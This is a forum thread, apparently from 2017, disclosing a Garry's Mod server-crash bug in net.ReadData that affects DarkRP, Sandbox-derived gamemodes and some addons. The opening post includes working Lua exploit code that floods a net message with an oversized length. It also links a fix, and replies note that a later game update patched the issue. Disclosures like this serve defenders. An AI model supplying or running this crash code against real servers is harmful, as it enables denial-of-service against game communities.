[PSA] net.ReadData Crash Exploit - Affects DarkRP,Sandbox based gamemodes etc

net.ReadData Crash Exploit
This issue currently affects any sandbox derived gamemode including DarkRP and any addon which utilizes net.ReadData which includes a number of ScreenGrab and admin addons.
When you pass an abnormally high length value to net.ReadData you will cause the server to crash without any error message saved in the logs.
In some cases you will need to do it several times for the crash to occur, many exploiters are simply sending the vulnerable net message using a loop to ensure the server crashes.

Example exploit code
This code will for example crash any sandbox derived gamemode including DarkRP. You can easily change the net message to the name of another vulnerable addon



	local function SandboxCrash()
		for i = 1, 100 do
			net.Start( "ArmDupe" )
			net.WriteUInt( 99999999999999, 32 )
			net.WriteData(" ",99999999999999)
			net.SendToServer()
		end
	end
	concommand.Add("sandbox_crash", SandboxCrash)


The Fix
I have created a fix which will stop exploiters from crashing any servers running a vulnerable gamemode or addon. Simply download, unzip and drag and drop into addons:
GitHub: https://github.com/chuteuk/NetReadDataFix

Robotboy/Willox: Please take a look at the issue with net.ReadData so hopefully we can get this patched for the next update. Thank you!

o shit, it works. yea might wanna get that fixed

This has been found a while ago, I thought everyone knew about it.

It’s been patched by cac lua thing for almost a whole year now

tested it on a server that has cac and it worked like a charm :smiley:

New update that fixed a different dupe exploit broke the hash of the net reciever, It’s patched on older versions of the game.

As stated, old exploit

Huh, I knew there was a net.ReadData exploit but I couldn’t reproduce it reliably. Cool!

[editline]15th February 2017[/editline]

Though I still argue that never trust the client would prevent issues like this.

I don’t think it has ever been patched Kevlon nor is it an old exploit a lot of servers and addons are currently vulnerable to this. I’m sure they’ll be able to fix it in the next update though.

most servers are vulnerable to a2s_info dos but that doesn’t make it not an old exploit.

I’m not sure how long exactly the exploit has existed that’s true. But there’s quite a few people who don’t know about this and are getting exploited. Hopefully this will help them out.

An update that addresses this issue is live on Steam.

Thank you Willox!